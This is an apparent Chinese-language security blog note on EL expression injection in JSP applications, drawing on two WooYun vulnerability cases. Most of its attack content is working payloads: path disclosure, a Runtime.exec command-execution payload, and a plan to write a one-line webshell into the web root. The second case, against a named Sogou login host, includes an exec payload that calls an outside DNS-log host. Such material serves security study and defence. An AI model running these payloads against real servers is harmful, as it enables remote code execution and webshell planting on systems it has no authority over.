看猪猪侠以前的洞,顺便总结下:
一、EL表达式简介
EL 全名为Expression Language。EL主要作用:
1、获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
2、执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
3、获取web开发常用对象
EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
4、调用Java方法
EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。
嗯,这段复制的,详细链接:https://www.cnblogs.com/xdp-gacl/p/3938361.html
检测方式:
表达式执行会会显在页面上,检查源码。
漏洞利用:
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
渗透思路:获取webroot路径,exec执行命令echo写入一句话。
乌云案例一:
详细说明:
#1 漏洞描述
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法
#2 影响服务器
http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml
#3 Paylod
漏洞证明:
#4 绕过WAF
#5 回显命令执行
#6 列目录
修复方案:
# 表达式不允许来自客户端调用
乌云案例二:
搜狗某系统存在远程表达式注入漏洞(命令执行)
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法
详细说明:
#1 漏洞地址
#2 表达式执行后的结果返回在页面
获取web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
file:/opt/local/resin/
漏洞证明:
EL表达式参考
http://www.cnblogs.com/xdp-gacl/p/3938361.html
利用方式1
#3 执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}
CloudEYE:
读取 ${sessionScope}, 获取a=InputStream的回显内容,a=java.io.BufferedInputStream@4d778271
获取WebROOT
https://auth.p4p.sogou.com/login?service=${applicationScope}
然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了